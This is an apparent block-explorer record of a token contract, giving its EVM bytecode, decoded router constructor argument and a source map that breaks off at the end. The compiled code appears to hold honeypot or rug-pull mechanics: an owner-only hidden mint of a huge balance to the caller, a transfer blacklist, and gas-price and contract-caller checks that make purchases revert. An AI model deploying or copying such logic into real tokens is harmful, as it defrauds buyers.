0x6080604052600436106101855760003560e01c80638da5cb5b116100d1578063aacebbe31161008a578063dd62ed3e11610064578063dd62ed3e14610477578063e4440a8614610497578063ec8d6f4e146104b7578063f2fde38b146104f057600080fd5b8063aacebbe314610422578063b2d9c38814610442578063cbbbc84f1461046257600080fd5b80638da5cb5b1461035b5780638ff717811461038d57806395d89b41146103ad57806396043b37146103c2578063a457c2d7146103e2578063a9059cbb1461040257600080fd5b8063395093511161013e57806351c6590a1161011857806351c6590a146102e857806370a08231146102fb578063715018a6146103315780638a8c523c1461034657600080fd5b8063395093511461028e5780634ada218b146102ae57806350ca48c6146102c657600080fd5b806306fdde0314610191578063095ea7b3146101bc57806318160ddd146101ec5780631b1253c81461020b57806323b872dd14610256578063313ce5671461027657600080fd5b3661018c57005b600080fd5b34801561019d57600080fd5b506101a6610510565b6040516101b39190611789565b60405180910390f35b3480156101c857600080fd5b506101dc6101d73660046117ec565b6105a2565b60405190151581526020016101b3565b3480156101f857600080fd5b506004545b6040519081526020016101b3565b34801561021757600080fd5b50610244610226366004611818565b6001600160a01b03166000908152600f602052604090205460ff1690565b60405160ff90911681526020016101b3565b34801561026257600080fd5b506101dc610271366004611835565b6105bc565b34801561028257600080fd5b5060035460ff16610244565b34801561029a57600080fd5b506101dc6102a93660046117ec565b6105e0565b3480156102ba57600080fd5b50600b5460ff166101dc565b3480156102d257600080fd5b506102e66102e1366004611818565b610602565b005b6102e66102f6366004611876565b610652565b34801561030757600080fd5b506101fd610316366004611818565b6001600160a01b031660009081526008602052604090205490565b34801561033d57600080fd5b506102e6610ad1565b34801561035257600080fd5b506102e6610ae5565b34801561036757600080fd5b506000546001600160a01b03165b6040516001600160a01b0390911681526020016101b3565b34801561039957600080fd5b506102e66103a836600461189d565b610b01565b3480156103b957600080fd5b506101a6610baf565b3480156103ce57600080fd5b506102e66103dd36600461189d565b610bbe565b3480156103ee57600080fd5b506101dc6103fd3660046117ec565b610c67565b34801561040e57600080fd5b506101dc61041d3660046117ec565b610ce2565b34801561042e57600080fd5b506102e661043d366004611818565b610cf0565b34801561044e57600080fd5b506102e661045d366004611818565b610d1a565b34801561046e57600080fd5b506102e6610ede565b34801561048357600080fd5b506101fd6104923660046118d6565b610eee565b3480156104a357600080fd5b50600e54610375906001600160a01b031681565b3480156104c357600080fd5b506102446104d2366004611818565b6001600160a01b031660009081526010602052604090205460ff1690565b3480156104fc57600080fd5b506102e661050b366004611818565b610f19565b60606001805461051f90611904565b80601f016020809104026020016040519081016040528092919081815260200182805461054b90611904565b80156105985780601f1061056d57610100808354040283529160200191610598565b820191906000526020600020905b81548152906001019060200180831161057b57829003601f168201915b5050505050905090565b6000336105b0818585610f8f565b60019150505b92915050565b6000336105ca8582856110b3565b6105d585858561112d565b506001949350505050565b6000336105b08185856105f38383610eee565b6105fd9190611954565b610f8f565b61060a6114e5565b336000908152600f6020526040808220805460ff199081169091556001600160a01b038416835291208054909116600117905561064f816001600160a01b0316600a55565b50565b61065a6114e5565b6000600560029054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa1580156106af573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906106d39190611967565b90506000816001600160a01b031663e6a4390530600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa15801561073a573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061075e9190611967565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa1580156107a9573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906107cd9190611967565b90506001600160a01b038116156107e457806108dc565b816001600160a01b031663c9c6539630600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610847573d6000803e3d6000fd5b505050506040513d601f19601f8201168201806040525081019061086b9190611967565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af11580156108b8573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906108dc9190611967565b600680546001600160a01b0319166001600160a01b03928316179055600554604080516315ab88c960e31b81529051600093620100009093049092169163ad5c4648916004808201926020929091908290030181865afa158015610944573d6000803e3d6000fd5b505050506040513d601f19601f820116820180604052508101906109689190611967565b9050806001600160a01b031663d0e30db0346040518263ffffffff1660e01b81526004016000604051808303818588803b1580156109a557600080fd5b505af11580156109b9573d6000803e3d6000fd5b50506006546109d693506001600160a01b03169150869050610ce2565b5060065460405163a9059cbb60e01b81526001600160a01b0391821660048201523460248201529082169063a9059cbb906044016020604051808303816000875af1158015610a29573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610a4d9190611984565b506006546001600160a01b0316636a627842336040516001600160e01b031960e084901b1681526001600160a01b0390911660048201526024016020604051808303816000875af1158015610aa6573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610aca91906119a1565b5050505050565b610ad96114f6565b610ae3600061155f565b565b610aed6114e5565b600b805460ff19811660ff90911615179055565b610b096114e5565b600081610b17576000610b1a565b60015b6001600160a01b03841660009081526010602052604090205490915060ff808316911603610b805760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b60448201526064015b60405180910390fd5b6001600160a01b03929092166000908152601060205260409020805460ff191660ff9093169290921790915550565b60606002805461051f90611904565b610bc66114e5565b600081610bd4576000610bd7565b60015b6001600160a01b0384166000908152600f602052604090205490915060ff808316911603610c385760405162461bcd60e51b815260206004820152600e60248201526d6578697374696e6720737461746560901b6044820152606401610b77565b6001600160a01b03929092166000908152600f60205260409020805460ff191660ff9093169290921790915550565b60003381610c758286610eee565b905083811015610cd55760405162461bcd60e51b815260206004820152602560248201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604482015264207a65726f60d81b6064820152608401610b77565b6105d58286868403610f8f565b6000336105b081858561112d565b610cf86114e5565b600e80546001600160a01b0319166001600160a01b0392909216919091179055565b610d226114e5565b80600560026101000a8154816001600160a01b0302191690836001600160a01b031602179055506000600560029054906101000a90046001600160a01b03166001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d9e573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610dc29190611967565b9050806001600160a01b031663e6a4390530600560029054906101000a90046001600160a01b03166001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610e27573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610e4b9190611967565b6040516001600160e01b031960e085901b1681526001600160a01b03928316600482015291166024820152604401602060405180830381865afa158015610e96573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610eba9190611967565b600680546001600160a01b0319166001600160a01b03929092169190911790555050565b610ee66114e5565b610ae36115af565b6001600160a01b03918216600090815260096020908152604080832093909416825291909152205490565b610f216114f6565b6001600160a01b038116610f865760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b6064820152608401610b77565b61064f8161155f565b6001600160a01b038316610ff15760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b6064820152608401610b77565b6001600160a01b0382166110525760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b6064820152608401610b77565b6001600160a01b0383811660008181526009602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b60006110bf8484610eee565b90506000198114611127578181101561111a5760405162461bcd60e51b815260206004820152601d60248201527f45524332303a20696e73756666696369656e7420616c6c6f77616e63650000006044820152606401610b77565b6111278484848403610f8f565b50505050565b6001600160a01b0383166111915760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b6064820152608401610b77565b6001600160a01b0382166111f35760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b6064820152608401610b77565b6111fe8383836115e3565b6001600160a01b03831660009081526010602052604090205460ff161561122457600080fd5b6001600160a01b0383166000908152600860205260409020548181101561129c5760405162461bcd60e51b815260206004820152602660248201527f45524332303a207472616e7366657220616d6f756e7420657863656564732062604482015265616c616e636560d01b6064820152608401610b77565b6001600160a01b0384166000908152600f602052604090205460ff161580156112de57506001600160a01b0383166000908152600f602052604090205460ff16155b1561144c576112ec84611660565b156114255760055460009061130590849060ff16611695565b905061131183836119ba565b6001600160a01b03861660009081526008602052604090205561133481846119ba565b6001600160a01b0385166000908152600860205260408120805490919061135c908490611954565b90915550506001600160a01b038085169086167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef61139a84876119ba565b60405190815260200160405180910390a3600e546001600160a01b0316600090815260086020526040812080548392906113d5908490611954565b9091555050600e546040518281526001600160a01b03918216918716907fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef9060200160405180910390a350611127565b61142e83611660565b1561144c57600554600090611305908490610100900460ff16611695565b61145682826119ba565b6001600160a01b03808616600090815260086020526040808220939093559085168152908120805484929061148c908490611954565b92505081905550826001600160a01b0316846001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516114d891815260200190565b60405180910390a3611127565b600033905061064f81600a546116b4565b336115096000546001600160a01b031690565b6001600160a01b031614610ae35760405162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e65726044820152606401610b77565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b33600090815260086020526040812080546dffffffffffffffffffffffffffff92906115dc908490611954565b9091555050565b6115ec82611660565b1561164e576115fa836116f0565b6007546001600160a01b0384811691161461164e5761161883611734565b1561164e5760405162461bcd60e51b815260206004820152600660248201526565727237303160d01b6044820152606401610b77565b6000811161165b57600080fd5b505050565b6006546000906001600160a01b03838116911614806105b65750506005546201000090046001600160a01b0390811691161490565b600060646116a383856119cd565b6116ad91906119e4565b9392505050565b8181146116ec5760405162461bcd60e51b815260206004820152600660248201526565727239303160d01b6044820152606401610b77565b5050565b6001600160a01b0381166000908152600f602052604090205460ff16156117145750565b600b5460ff166117295761064f600c54611750565b61064f600d54611750565b6000813b80156117475750600192915050565b50600092915050565b803a111561064f5760405162461bcd60e51b815260206004820152600660248201526565727233303160d01b6044820152606401610b77565b600060208083528351808285015260005b818110156117b65785810183015185820160400152820161179a565b506000604082860101526040601f19601f8301168501019250505092915050565b6001600160a01b038116811461064f57600080fd5b600080604083850312156117ff57600080fd5b823561180a816117d7565b946020939093013593505050565b60006020828403121561182a57600080fd5b81356116ad816117d7565b60008060006060848603121561184a57600080fd5b8335611855816117d7565b92506020840135611865816117d7565b929592945050506040919091013590565b60006020828403121561188857600080fd5b5035919050565b801515811461064f57600080fd5b600080604083850312156118b057600080fd5b82356118bb816117d7565b915060208301356118cb8161188f565b809150509250929050565b600080604083850312156118e957600080fd5b82356118f4816117d7565b915060208301356118cb816117d7565b600181811c9082168061191857607f821691505b60208210810361193857634e487b7160e01b600052602260045260246000fd5b50919050565b634e487b7160e01b600052601160045260246000fd5b808201808211156105b6576105b661193e565b60006020828403121561197957600080fd5b81516116ad816117d7565b60006020828403121561199657600080fd5b81516116ad8161188f565b6000602082840312156119b357600080fd5b5051919050565b818103818111156105b6576105b661193e565b80820281158282048414176105b6576105b661193e565b600082611a0157634e487b7160e01b600052601260045260246000fd5b50049056fea264697066735822122037499d49bc161081b7c1c3f8cd50017da800d3eaa80185091bb0126f8641230764736f6c63430008130033

Constructor Arguments (ABI-Encoded and is the last bytes of the Contract Creation Code above)

0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d

-----Decoded View---------------
Arg [0] : routerAddress (address): 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D

-----Encoded View---------------
1 Constructor Arguments found :
Arg [0] : 0000000000000000000000007a250d5630b4cf539739df2c5dacb4c659f2488d


Deployed Bytecode Sourcemap

3386:9432:0:-:0;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4272:91;;;;;;;;;;;;;:::i;:::-;;;;;;;:::i;:::-;;;;;;;;5182:199;;;;;;;;;;-1:-1:-1;5182:199:0;;;;;:::i;:::-;;:::i;:::-;;;1188:14:1;;1181:22;1163:41;;1151:2;1136:18;5182:199:0;1023:187:1;4573:108:0;;;;;;;;;;-1:-1:-1;4661:12:0;;4573:108;;;1361:25:1;;;1349:2;1334:18;4573:108:0;1215:177:1;12313:88:0;;;;;;;;;;-1:-1:-1;12313:88:0;;;;;:::i;:::-;-1:-1:-1;;;;;12385:13:0;12369:5;12385:13;;;:9;:13;;;;;;;;;12313:88;;;;1821:4:1;1809:17;;;1791:36;;1779:2;1764:18;12313:88:0;1649:184:1;5389:293:0;;;;;;;;;;-1:-1:-1;5389:293:0;;;;;:::i;:::-;;:::i;4474:91::-;;;;;;;;;;-1:-1:-1;4548:9:0;;;;4474:91;;5690:236;;;;;;;;;;-1:-1:-1;5690:236:0;;;;;:::i;:::-;;:::i;12236:71::-;;;;;;;;;;-1:-1:-1;12300:4:0;;;;12236:71;;9580:158;;;;;;;;;;-1:-1:-1;9580:158:0;;;;;:::i;:::-;;:::i;:::-;;10017:621;;;;;;:::i;:::-;;:::i;4689:127::-;;;;;;;;;;-1:-1:-1;4689:127:0;;;;;:::i;:::-;-1:-1:-1;;;;;4790:18:0;4763:7;4790:18;;;:9;:18;;;;;;;4689:127;860:103;;;;;;;;;;;;;:::i;11235:69::-;;;;;;;;;;;;;:::i;627:87::-;;;;;;;;;;-1:-1:-1;673:7:0;700:6;-1:-1:-1;;;;;700:6:0;627:87;;;-1:-1:-1;;;;;2648:32:1;;;2630:51;;2618:2;2603:18;627:87:0;2484:203:1;12046:182:0;;;;;;;;;;-1:-1:-1;12046:182:0;;;;;:::i;:::-;;:::i;4371:95::-;;;;;;;;;;;;;:::i;11854:184::-;;;;;;;;;;-1:-1:-1;11854:184:0;;;;;:::i;:::-;;:::i;5934:434::-;;;;;;;;;;-1:-1:-1;5934:434:0;;;;;:::i;:::-;;:::i;4824:191::-;;;;;;;;;;-1:-1:-1;4824:191:0;;;;;:::i;:::-;;:::i;11508:120::-;;;;;;;;;;-1:-1:-1;11508:120:0;;;;;:::i;:::-;;:::i;12500:278::-;;;;;;;;;;-1:-1:-1;12500:278:0;;;;;:::i;:::-;;:::i;10812:50::-;;;;;;;;;;;;;:::i;5023:151::-;;;;;;;;;;-1:-1:-1;5023:151:0;;;;;:::i;:::-;;:::i;11312:27::-;;;;;;;;;;-1:-1:-1;11312:27:0;;;;-1:-1:-1;;;;;11312:27:0;;;12407:85;;;;;;;;;;-1:-1:-1;12407:85:0;;;;;:::i;:::-;-1:-1:-1;;;;;12476:13:0;12460:5;12476:13;;;:9;:13;;;;;;;;;12407:85;971:201;;;;;;;;;;-1:-1:-1;971:201:0;;;;;:::i;:::-;;:::i;4272:91::-;4317:13;4350:5;4343:12;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;4272:91;:::o;5182:199::-;5265:4;5298:10;5319:32;5298:10;5335:7;5344:6;5319:8;:32::i;:::-;5369:4;5362:11;;;5182:199;;;;;:::o;5389:293::-;5520:4;5555:10;5576:38;5592:4;5555:10;5607:6;5576:15;:38::i;:::-;5625:27;5635:4;5641:2;5645:6;5625:9;:27::i;:::-;-1:-1:-1;5670:4:0;;5389:293;-1:-1:-1;;;;5389:293:0:o;5690:236::-;5778:4;5811:10;5832:64;5811:10;5848:7;5885:10;5857:25;5811:10;5848:7;5857:9;:25::i;:::-;:38;;;;:::i;:::-;5832:8;:64::i;9580:158::-;9551:10;:8;:10::i;:::-;304;9666:1:::1;9640:23:::0;;;:9:::1;:23;::::0;;;;;:27;;-1:-1:-1;;9640:27:0;;::::1;::::0;;;-1:-1:-1;;;;;9678:18:0;::::1;::::0;;;;:22;;;;::::1;-1:-1:-1::0;9678:22:0::1;::::0;;9711:19:::1;9678:18:::0;-1:-1:-1;;;;;3003:12:0;9799:7;:42;9746:103;9711:19:::1;9580:158:::0;:::o;10017:621::-;9551:10;:8;:10::i;:::-;10096:26:::1;10143:7;;;;;;;;;-1:-1:-1::0;;;;;10143:7:0::1;-1:-1:-1::0;;;;;10143:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10096:65;;10172:20;10195:8;-1:-1:-1::0;;;;;10195:16:0::1;;10220:4;10227:7;;;;;;;;;-1:-1:-1::0;;;;;10227:7:0::1;-1:-1:-1::0;;;;;10227:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10195:47;::::0;-1:-1:-1;;;;;;10195:47:0::1;::::0;;;;;;-1:-1:-1;;;;;4728:15:1;;;10195:47:0::1;::::0;::::1;4710:34:1::0;4780:15;;4760:18;;;4753:43;4645:18;;10195:47:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10172:70:::0;-1:-1:-1;;;;;;10261:26:0;::::1;::::0;:126:::1;;10374:12;10261:126;;;10305:8;-1:-1:-1::0;;;;;10305:19:0::1;;10333:4;10340:7;;;;;;;;;-1:-1:-1::0;;;;;10340:7:0::1;-1:-1:-1::0;;;;;10340:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10305:50;::::0;-1:-1:-1;;;;;;10305:50:0::1;::::0;;;;;;-1:-1:-1;;;;;4728:15:1;;;10305:50:0::1;::::0;::::1;4710:34:1::0;4780:15;;4760:18;;;4753:43;4645:18;;10305:50:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10253:5;:134:::0;;-1:-1:-1;;;;;;10253:134:0::1;-1:-1:-1::0;;;;;10253:134:0;;::::1;;::::0;;10417:7:::1;::::0;:14:::1;::::0;;-1:-1:-1;;;10417:14:0;;;;-1:-1:-1;;10417:7:0;;;::::1;::::0;;::::1;::::0;:12:::1;::::0;:14:::1;::::0;;::::1;::::0;::::1;::::0;;;;;;;;;:7;:14:::1;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10398:34;;10443:4;-1:-1:-1::0;;;;;10443:12:0::1;;10463:9;10443:32;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;::::0;::::1;;;;;-1:-1:-1::0;;10503:5:0::1;::::0;10486:41:::1;::::0;-1:-1:-1;;;;;;10503:5:0::1;::::0;-1:-1:-1;10511:15:0;;-1:-1:-1;10486:8:0::1;:41::i;:::-;-1:-1:-1::0;10577:5:0::1;::::0;10538:57:::1;::::0;-1:-1:-1;;;10538:57:0;;-1:-1:-1;;;;;10577:5:0;;::::1;10538:57;::::0;::::1;4981:51:1::0;10585:9:0::1;5048:18:1::0;;;5041:34;10538:30:0;;::::1;::::0;::::1;::::0;4954:18:1;;10538:57:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;-1:-1:-1::0;10606:5:0::1;::::0;-1:-1:-1;;;;;10606:5:0::1;:10;304::::0;10606:24:::1;::::0;-1:-1:-1;;;;;;10606:24:0::1;::::0;;;;;;-1:-1:-1;;;;;2648:32:1;;;10606:24:0::1;::::0;::::1;2630:51:1::0;2603:18;;10606:24:0::1;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;;10085:553;;;10017:621:::0;:::o;860:103::-;586:13;:11;:13::i;:::-;925:30:::1;952:1;925:18;:30::i;:::-;860:103::o:0;11235:69::-;9551:10;:8;:10::i;:::-;11292:4:::1;::::0;;-1:-1:-1;;11284:12:0;::::1;11292:4;::::0;;::::1;11291:5;11284:12;::::0;;11235:69::o;12046:182::-;9551:10;:8;:10::i;:::-;12110:9:::1;12122:2;:10;;12131:1;12122:10;;;12127:1;12122:10;-1:-1:-1::0;;;;;12151:13:0;::::1;;::::0;;;:9:::1;:13;::::0;;;;;12110:22;;-1:-1:-1;12151:20:0::1;::::0;;::::1;:13:::0;::::1;:20:::0;12143:47:::1;;;::::0;-1:-1:-1;;;12143:47:0;;5727:2:1;12143:47:0::1;::::0;::::1;5709:21:1::0;5766:2;5746:18;;;5739:30;-1:-1:-1;;;5785:18:1;;;5778:44;5839:18;;12143:47:0::1;;;;;;;;;-1:-1:-1::0;;;;;12201:13:0;;;::::1;;::::0;;;:9:::1;:13;::::0;;;;:19;;-1:-1:-1;;12201:19:0::1;;::::0;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;12046:182:0:o;4371:95::-;4418:13;4451:7;4444:14;;;;;:::i;11854:184::-;9551:10;:8;:10::i;:::-;11920:9:::1;11932:2;:10;;11941:1;11932:10;;;11937:1;11932:10;-1:-1:-1::0;;;;;11961:13:0;::::1;;::::0;;;:9:::1;:13;::::0;;;;;11920:22;;-1:-1:-1;11961:20:0::1;::::0;;::::1;:13:::0;::::1;:20:::0;11953:47:::1;;;::::0;-1:-1:-1;;;11953:47:0;;5727:2:1;11953:47:0::1;::::0;::::1;5709:21:1::0;5766:2;5746:18;;;5739:30;-1:-1:-1;;;5785:18:1;;;5778:44;5839:18;;11953:47:0::1;5525:338:1::0;11953:47:0::1;-1:-1:-1::0;;;;;12011:13:0;;;::::1;;::::0;;;:9:::1;:13;::::0;;;;:19;;-1:-1:-1;;12011:19:0::1;;::::0;;::::1;::::0;;;::::1;::::0;;;-1:-1:-1;11854:184:0:o;5934:434::-;6027:4;6060:10;6027:4;6108:25;6060:10;6125:7;6108:9;:25::i;:::-;6081:52;;6172:15;6152:16;:35;;6144:85;;;;-1:-1:-1;;;6144:85:0;;6070:2:1;6144:85:0;;;6052:21:1;6109:2;6089:18;;;6082:30;6148:34;6128:18;;;6121:62;-1:-1:-1;;;6199:18:1;;;6192:35;6244:19;;6144:85:0;5868:401:1;6144:85:0;6265:60;6274:5;6281:7;6309:15;6290:16;:34;6265:8;:60::i;4824:191::-;4903:4;4936:10;4957:28;4936:10;4974:2;4978:6;4957:9;:28::i;11508:120::-;9551:10;:8;:10::i;:::-;11589:12:::1;:31:::0;;-1:-1:-1;;;;;;11589:31:0::1;-1:-1:-1::0;;;;;11589:31:0;;;::::1;::::0;;;::::1;::::0;;11508:120::o;12500:278::-;9551:10;:8;:10::i;:::-;12597:14:::1;12568:7;;:44;;;;;-1:-1:-1::0;;;;;12568:44:0::1;;;;;-1:-1:-1::0;;;;;12568:44:0::1;;;;;;12623:26;12670:7;;;;;;;;;-1:-1:-1::0;;;;;12670:7:0::1;-1:-1:-1::0;;;;;12670:15:0::1;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12623:65;;12722:8;-1:-1:-1::0;;;;;12722:16:0::1;;12747:4;12754:7;;;;;;;;;-1:-1:-1::0;;;;;12754:7:0::1;-1:-1:-1::0;;;;;12754:12:0::1;;:14;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12722:47;::::0;-1:-1:-1;;;;;;12722:47:0::1;::::0;;;;;;-1:-1:-1;;;;;4728:15:1;;;12722:47:0::1;::::0;::::1;4710:34:1::0;4780:15;;4760:18;;;4753:43;4645:18;;12722:47:0::1;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;12699:5;:71:::0;;-1:-1:-1;;;;;;12699:71:0::1;-1:-1:-1::0;;;;;12699:71:0;;;::::1;::::0;;;::::1;::::0;;-1:-1:-1;;12500:278:0:o;10812:50::-;9551:10;:8;:10::i;:::-;10848:11:::1;:9;:11::i;5023:151::-:0;-1:-1:-1;;;;;5139:18:0;;;5112:7;5139:18;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;5023:151::o;971:201::-;586:13;:11;:13::i;:::-;-1:-1:-1;;;;;1060:22:0;::::1;1052:73;;;::::0;-1:-1:-1;;;1052:73:0;;6476:2:1;1052:73:0::1;::::0;::::1;6458:21:1::0;6515:2;6495:18;;;6488:30;6554:34;6534:18;;;6527:62;-1:-1:-1;;;6605:18:1;;;6598:36;6651:19;;1052:73:0::1;6274:402:1::0;1052:73:0::1;1136:28;1155:8;1136:18;:28::i;8157:380::-:0;-1:-1:-1;;;;;8293:19:0;;8285:68;;;;-1:-1:-1;;;8285:68:0;;6883:2:1;8285:68:0;;;6865:21:1;6922:2;6902:18;;;6895:30;6961:34;6941:18;;;6934:62;-1:-1:-1;;;7012:18:1;;;7005:34;7056:19;;8285:68:0;6681:400:1;8285:68:0;-1:-1:-1;;;;;8372:21:0;;8364:68;;;;-1:-1:-1;;;8364:68:0;;7288:2:1;8364:68:0;;;7270:21:1;7327:2;7307:18;;;7300:30;7366:34;7346:18;;;7339:62;-1:-1:-1;;;7417:18:1;;;7410:32;7459:19;;8364:68:0;7086:398:1;8364:68:0;-1:-1:-1;;;;;8445:18:0;;;;;;;:11;:18;;;;;;;;:27;;;;;;;;;;;;;:36;;;8497:32;;1361:25:1;;;8497:32:0;;1334:18:1;8497:32:0;;;;;;;8157:380;;;:::o;8545:453::-;8680:24;8707:25;8717:5;8724:7;8707:9;:25::i;:::-;8680:52;;-1:-1:-1;;8747:16:0;:37;8743:248;;8829:6;8809:16;:26;;8801:68;;;;-1:-1:-1;;;8801:68:0;;7691:2:1;8801:68:0;;;7673:21:1;7730:2;7710:18;;;7703:30;7769:31;7749:18;;;7742:59;7818:18;;8801:68:0;7489:353:1;8801:68:0;8913:51;8922:5;8929:7;8957:6;8938:16;:25;8913:8;:51::i;:::-;8669:329;8545:453;;;:::o;6376:1773::-;-1:-1:-1;;;;;6507:18:0;;6499:68;;;;-1:-1:-1;;;6499:68:0;;8049:2:1;6499:68:0;;;8031:21:1;8088:2;8068:18;;;8061:30;8127:34;8107:18;;;8100:62;-1:-1:-1;;;8178:18:1;;;8171:35;8223:19;;6499:68:0;7847:401:1;6499:68:0;-1:-1:-1;;;;;6586:16:0;;6578:64;;;;-1:-1:-1;;;6578:64:0;;8455:2:1;6578:64:0;;;8437:21:1;8494:2;8474:18;;;8467:30;8533:34;8513:18;;;8506:62;-1:-1:-1;;;8584:18:1;;;8577:33;8627:19;;6578:64:0;8253:399:1;6578:64:0;6655:38;6676:4;6682:2;6686:6;6655:20;:38::i;:::-;-1:-1:-1;;;;;6710:15:0;;;;;;:9;:15;;;;;;;;:18;6706:37;;6732:8;;;6706:37;-1:-1:-1;;;;;6775:15:0;;6753:19;6775:15;;;:9;:15;;;;;;6809:21;;;;6801:72;;;;-1:-1:-1;;;6801:72:0;;8859:2:1;6801:72:0;;;8841:21:1;8898:2;8878:18;;;8871:30;8937:34;8917:18;;;8910:62;-1:-1:-1;;;8988:18:1;;;8981:36;9034:19;;6801:72:0;8657:402:1;6801:72:0;-1:-1:-1;;;;;6898:15:0;;;;;;:9;:15;;;;;;;;:18;:38;;;;-1:-1:-1;;;;;;6920:13:0;;;;;;:9;:13;;;;;;;;:16;6898:38;6894:1198;;;6956:14;6965:4;6956:8;:14::i;:::-;6952:974;;;7035:6;;6991:14;;7008:34;;7027:6;;7035;;7008:18;:34::i;:::-;6991:51;-1:-1:-1;7079:20:0;7093:6;7079:11;:20;:::i;:::-;-1:-1:-1;;;;;7061:15:0;;;;;;:9;:15;;;;;:38;7135:18;7144:9;7135:6;:18;:::i;:::-;-1:-1:-1;;;;;7118:13:0;;;;;;:9;:13;;;;;:35;;:13;;;:35;;;;;:::i;:::-;;;;-1:-1:-1;;;;;;;7177:38:0;;;;;;;7196:18;7205:9;7196:6;:18;:::i;:::-;7177:38;;1361:25:1;;;1349:2;1334:18;7177:38:0;;;;;;;7244:12;;-1:-1:-1;;;;;7244:12:0;7234:23;;;;:9;:23;;;;;:36;;7261:9;;7234:23;:36;;7261:9;;7234:36;:::i;:::-;;;;-1:-1:-1;;7309:12:0;;7294:39;;1361:25:1;;;-1:-1:-1;;;;;7309:12:0;;;;7294:39;;;;;1349:2:1;1334:18;7294:39:0;;;;;;;6972:379;8104:37;9006:342;6952:974;7361:12;7370:2;7361:8;:12::i;:::-;7357:569;;;7438:7;;7394:14;;7411:35;;7430:6;;7438:7;;;;;7411:18;:35::i;7357:569::-;7798:20;7812:6;7798:11;:20;:::i;:::-;-1:-1:-1;;;;;7780:15:0;;;;;;;:9;:15;;;;;;:38;;;;7837:13;;;;;;;;:23;;7854:6;;7780:15;7837:23;;7854:6;;7837:23;:::i;:::-;;;;;;;;7899:2;-1:-1: